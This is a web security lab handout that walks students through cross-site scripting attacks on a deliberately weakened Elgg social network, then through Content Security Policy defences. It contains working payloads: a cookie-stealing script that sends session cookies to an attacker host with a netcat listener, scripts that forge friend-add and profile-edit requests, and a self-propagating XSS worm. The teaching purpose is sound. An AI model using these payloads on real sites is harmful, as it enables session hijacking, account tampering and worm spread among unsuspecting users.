Cross-Site Scripting (XSS) Attack Lab

Table of Contents:

Overview 2

Environment Setup 3

Task 1: Posting a Malicious Message to Display Something Malicious 4

Task 1.1: Posting a Malicious Message to Display an Alert Window 4

Task 1.2: Posting a Malicious Message to Display Cookies 5

Task 2: Stealing Cookies from the Victim's Machine 6

Task 3: Becoming the Victim's Friend 8

Task 4: Modifying the Victim's Profile 10

Task 5: Writing a Self-Propagating XSS Worm 13

Task 6: Defeating XSS Attacks Using CSP [Optional] 15

Submission 21

Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into the victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source web application for social networking, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles.

In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg, in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list. This lab covers the following topics:

- Cross-Site Scripting attack
- XSS worm and self-propagation
- Session cookies
- HTTP GET and POST requests
- JavaScript and Ajax
- Content Security Policy (CSP)

This lab has been tested within the seed labs 20.04 VM. You are to download the Labsetup.zip file within this VM and perform the tasks here. The Labsetup.zip file can be found at https://seedsecuritylabs.org/Labs_20.04/Web/Web_XSS_Elgg/

Environment Setup

We have set up several websites for this lab. They are hosted by the container 10.9.0.5. We need to map the names of the web server to this IP address.

Please add the following entries to /etc/hosts.

You need to use the root privilege to modify this file:

10.9.0.5 www.seed-server.com
10.9.0.5 www.example32a.com
10.9.0.5 www.example32b.com
10.9.0.5 www.example32c.com
10.9.0.5 www.example60.com
10.9.0.5 www.example70.com

User accounts - We have created several user accounts on the Elgg server; the username and passwords are given in the following.

UserName | Password

admin | seedadmin
alice | seedalice
boby | seedboby
charlie| seedcharlie
samy | seedsamy

Move back into the main `Labsetup` directory and run the command:

$ docker-compose up

Task 1: Posting a Malicious Message to Display something Malicious.

Task 1.1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed.

The following JavaScript program will display an alert window:

<script>alert('XSS');</script>

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

1. Login as Samy in www.seed-server.com
2. Click on your profile and Edit Profile.
3. In the brief description, enter the below JS code and save
   <script>alert('XSS');</script>
4. When anyone views Samy's profile you should see the alert window pop up.

Take appropriate screenshots and note down your observations

Note -

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the <script> tag. See the following example:
<script type="text/javascript"

src="http://www.example.com/myscripts.js">
</script>
In the above example, the page will fetch the JavaScript program from http://www.example.com , which can be any web server.

Task 1.2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the user's cookies will be displayed in the alert window.

This can be done by adding some additional code to the JavaScript program in the previous task:

<script>alert(document.cookie);</script>

1. Login as Samy in www.seed-server.com
2. Click on your profile and then edit your profile.
3. In the brief description section enter the below script
   <script>alert(document.cookie);</script>
4. When you view your profile, the user's cookie will be displayed in the alert window.
5. You can logout and go to another profile e.g Alice, and view Samy's profile.

Take appropriate screenshots and note down your observations

Task 2: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <img> tag with its src attribute set to the attacker's machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine (with IP address 10.9.0.1), where the attacker has a TCP server listening to the same port.

<script>document.write('<img src=http://10.9.0.1:5555?c='+ escape(document.cookie) + ' >');
</script>

Follow the below steps -

1. Login as Samy in www.seed-server.com
2. Click on your profile and then edit your profile.
3. In the **About me** section (click on Edit HTML) enter the below script

<script>document.write('<img src=http://10.9.0.1:5555?c='+ escape(document.cookie) + ' >');
</script>

4. Now open the seed VM terminal and run the following commands -

Command:

$ nc -lknv 5555

A commonly used program by attackers is netcat (or nc) , which, if running with the "-l" option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server.

5. Now refresh Samy's profile page, you should see the request captured on the Seed Terminal.

6. Go ahead and login into Alice's profile and view Samy's Profile, you should see Alice's cookie captured in the terminal.

Take appropriate screenshots and note down your observations with explanations

Task 3: Becoming the Victim's Friend

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy's page. This worm does not self-propagate; in task 6, we will make it self-propagating.

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy).

- Use the HTTP Header Live Tool, to figure out how a user adds a friend (Implemented in CSRF Attack Lab)

To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what is sent to the server when a user adds a friend. Firefox's HTTP inspection tool can help us get the information. It can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request.

a. Login as Samy
b. Open the Http Header Live extension.
c. Add Bob as a friend and view the request.

You should see a URL like this - http://www.seed-server.com/action/friends/add?friend=58

The number at the end is the user's guid. We now need to find Samy's guid in order to make other user's add Samy as a friend.

a. Go to Samy's profile
b. View the page source, and search for guid.

Note down Samy's guid, now it's time for us to construct the attack

- The below code should be placed in the "About Me" field of Samy's profile page.

This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on "Edit HTML", which can be found at the top right of the "About Me" text field.

In the About Me section (edit html) enter the following code and click save -

```
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;  // 1
var token="&__elgg_token="+elgg.security.token.__elgg_token; // 2
//Construct the HTTP request to add Samy as a friend.
var sendurl= " http://www.seed-server.com/action/friends/" +"add?friend=59" +ts + token ;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
```

59 shown here is Samy's guid, which you would've got in the previous step.

- Click Save, and when you go to the friends section you should see Samy added in friends. Logout and Login as Alice, and view Samy's profile. You should see Samy added in the friend's section.

Take appropriate screenshots and note down your observations with explanations

Questions -

1. **Explain the purpose of Lines 1 and 2, why are they needed?**
2. **If the Elgg application only provides the Editor mode for the "About Me" field, i.e., you cannot switch to the HTML mode, can you still launch a successful attack?**

Task 4: Modifying the Victim's Profile

The objective of this task is to modify the victim's profile when the victim visits Samy's page. Specifically, modify the victim's "About Me" field. We will write an XSS worm to complete the task. This worm does not self-propagate; in task 6, we will make it self-propagating.

Similar to the previous task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. To modify a profile, we should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, we need to figure out how the HTTP POST request is constructed to modify a user's profile. We will use Firefox's HTTP inspection tool. Once we understand how the modify-profile HTTP POST request looks like, we can write a JavaScript program to send out the same HTTP request.

- Use the HTTP Header Live Tool, to figure out the request when a user edits their profile (Implemented in CSRF Attack Lab)

    a. Login as Samy and click edit profile
    b. Open the HTTP Header Live extension
    c. Enter "Samy is my hero!" in the about me (Editor) and brief description section
    d. Save and see the POST request captured

We can see a request is made to http://www.seed-server.com/action/profile/edit with parameters like name, *description, briefdescription, accesslevel, guid etc*. being taken.

- Now we need to construct our script so that everyone who views our profile, their description field changes to - “Samy is my hero!”

Copy Paste the below code into the About Me Section (HTML Editor) -

```
<script type="text/javascript">
window.onload = function(){
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + userName + "&description=Samy is my hero!" +
"&accesslevel[description]=2" + guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)  // 1
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
```

- Logout as Samy, login as Alice and now view Samy's profile. Now check Alice's profile, the attack, you should see her description changed to "Samy is my hero!"

Take appropriate screenshots and note down your observations with explanations

Questions -

3. **Why do we need Line 1? Remove this line, and repeat your attack. Report and explain your observation.**

Task 5: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which not only modifies the victim's profile and adds the user "Samy" as a friend, but also add a copy of the worm itself to the victim's profile, so the victim is turned into an attacker

To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile.

DOM Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window:.

1. Login as Samy
2. Click on Edit Profile and Copy Paste the following piece of code in the About Me Section (HTML Editor) -

```
<script id="worm">
  var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
  var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
  window.onload = function(){
    var userName="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
```

```
    var content=token + ts + userName +
      "&description=" + wormCode + "&accesslevel[description]=2" +
      "&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +
      guid;
    var samyGuid=59;
    var sendurl="http://www.seed-server.com/action/profile/edit";

    if(elgg.session.user.guid!=samyGuid)
    {
      var Ajax=null;
      Ajax=new XMLHttpRequest();
      Ajax.open("POST", sendurl, true);
      Ajax.setRequestHeader("Content-Type",
                "application/x-www-form-urlencoded");
      Ajax.send(content);
    }
  }
</script>
```

3. Click on Save
4. Login as Alice (make sure to delete the previous task attack) and view Samy's profile. Alice's description should have been updated to "samy is my hero"
5. Now login as Charlie, and view Alice's profile. The attack should work as expected.

Take appropriate screenshots and note down your observations with detailed explanations of what exactly occurred and why?

Task 6: Defeating XSS Attacks Using CSP [Optional]

The fundamental problem of the XSS vulnerability is that HTML allows JavaScript code to be mixed with data. Therefore, to fix this fundamental problem, we need to separate code from data. There are two ways to include JavaScript code inside an HTML page, one is the inline approach, and the other is the link approach. The inline approach directly places code inside the page, while the link approach puts the code in an external file, and then links to it from inside the page.

The inline approach is the culprit of the XSS vulnerability, because browsers do not know where the code originally comes from: is it from the trusted web server or from untrusted users? Without such knowledge, browsers do not know which code is safe to execute, and which one is dangerous. The link approach provides a very important piece of information to browsers, i.e., where the code comes from. Websites can then tell browsers which sources are trustworthy, so browsers know which piece of code is safe to execute. Although attackers can also use the link approach to include code in their input, they cannot place their code in those trustworthy places.

How websites tell browsers which code source is trustworthy is achieved using a security mechanism called Content Security Policy (CSP). This mechanism is specifically designed to defeat XSS and ClickJacking attacks. It has become a standard, which is supported by most browsers nowadays. CSP not only restricts JavaScript code, it also restricts other page contents, such as limiting where pictures, audio, and video can come from, as well as restricting whether a page can be put inside an iframe or not (used for defeating ClickJacking attacks). Here, we will only focus on how to use CSP to defeat XSS attacks.

Experiment Website setup

To conduct experiments on CSP, we will set up several websites. Inside the Labsetup/image www docker image folder, there is a file called apache csp.conf. It defines five websites, which share the same folder, but they will use different files in this folder. The example60 and example70 sites are used for hosting JavaScript code. The example32a, example32b, and example32c are the three websites that have different CSP configurations. Details of the configuration will be explained later.

Changing the configuration file

In the experiment, you need to modify this Apache configuration file (apache csp.conf). If you make a modification directly on the file inside the image folder, you need to rebuild the image and restart the container, so the change can take effect. You can also modify the file while the container is running. The downside of this option is that in order to keep the docker image small, we have only installed a very simple text editor called nano inside the container. It should be sufficient for simple editing. If you do not like it, you can always add an installation command to the Dockerfile to install your favorite command-line text editor. On the running container, you can find the configuration file apache csp.conf inside the /etc/apache2/sites-available folder.

After making changes, you need to restart the Apache server for the changes to take effect:

service apache2 restart

The web page for the experiment

The example32(a|b|c) servers host the same web page index.html, which is used to demonstrate how the CSP policies work. In this page, there are six areas, area1 to area6. Initially, each area displays "Failed". The page also includes six pieces of JavaScript code, each trying to write "OK" to its corresponding area. If we can see OK in an area, that means, the JavaScript code corresponding to that area has been executed successfully; otherwise, we would see Failed. There is also a button on this page. If it is clicked, a message will pop up, if the underlying JavaScript code gets triggered.

Setting CSP Policies

CSP is set by the web server as an HTTP header. There are two typical ways to set the header, by the web server (such as Apache) or by the web application. In this experiment, we will conduct experiments using both approaches.

CSP configuration by Apache. Apache can set HTTP headers for all the responses, so we can use Apache to set CSP policies. In our configuration, we set up three websites, but only the second one sets CSP policies (the lines marked by ■). With this setup, when we visit example32b, Apache will add the specified CSP header to all the responses from this site.

```
# Purpose: Do not set CSP policies
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32a.com
DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \ ■
default-src 'self'; \ ■
script-src 'self' *.example70.com \ ■
"
</VirtualHost>

# Purpose: Setting CSP policies in web applications
<VirtualHost *:80> ●
DocumentRoot /var/www/csp
ServerName www.example32c.com
DirectoryIndex phpindex.php
</VirtualHost>
```

CSP configuration by web applications. For the third VirtualHost entry in our configuration file (marked by ●), we did not set up any CSP policy. However, instead of accessing index.html, the entry point of this site is phpindex.php, which is a PHP program. This program, listed below, adds a CSP header to the response generated from the program

```
<?php
$cspheader = "Content-Security-Policy:".
"default-src 'self';".
"script-src 'self' 'nonce-111-111-111' *.example70.com".
"";
header($cspheader);
?>
<?php include 'index.html';?>
```

Lab Tasks

After starting the containers and making changes to the /etc/hosts, please visit the following URLs from your VM.

http://www.example32a.com
http://www.example32b.com
http://www.example32c.com

To check the apache configuration for the 3 websites, do the following

Open the seed VM terminal and run the following -
Commands

```
$ docksh elgg-10.9.0.5
# cd /etc/apache2/sites-enabled/
# cat  apache_csp.conf
```

References - https://content-security-policy.com/
https://content-security-policy.com/examples/php/

After going through the references and the apache config file, perform the following tasks -

1. Describe and explain your observations when you visit these websites.

2. Click the button in the web pages from all the three websites, describe and explain your observations.

3. Change the server configuration on example32b (modify the Apache configuration), so Areas 5 and 6 display OK. Please include your modified configuration in the lab report.

Commands -

$ docksh elgg-10.9.0.5
cd /etc/apache2/sites-enabled/
nano apache_csp.conf

Change the example32b server's csp policy to the following

```
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
             default-src 'self'; \
             script-src 'self' *.example60.com \
             script-src 'self' *.example70.com \
            "
</VirtualHost>
```

Then run # service apache2 restart
Check example32b.com and see if the changes are reflected.

4. Change the server configuration on example32c (modify the PHP code), so Areas 1, 2, 4, 5, and 6 all display OK. Please include your modified configuration in the lab report.

Commands -

$ docksh elgg-10.9.0.5
cd /var/www/csp
nano phpindex.php

Change the cspheader to the following

```
<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222'  *.example60.com *.example70.com".
               "";
  header($cspheader);
?>

<?php include 'index.html';?>
```

Then run # service apache2 restart
Check example32c.com and see if the changes are reflected.

5. Please explain why CSP can help prevent Cross-Site Scripting attacks.

Take appropriate screenshots and note down your observations with detailed explanations of what exactly occurred and why?

Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.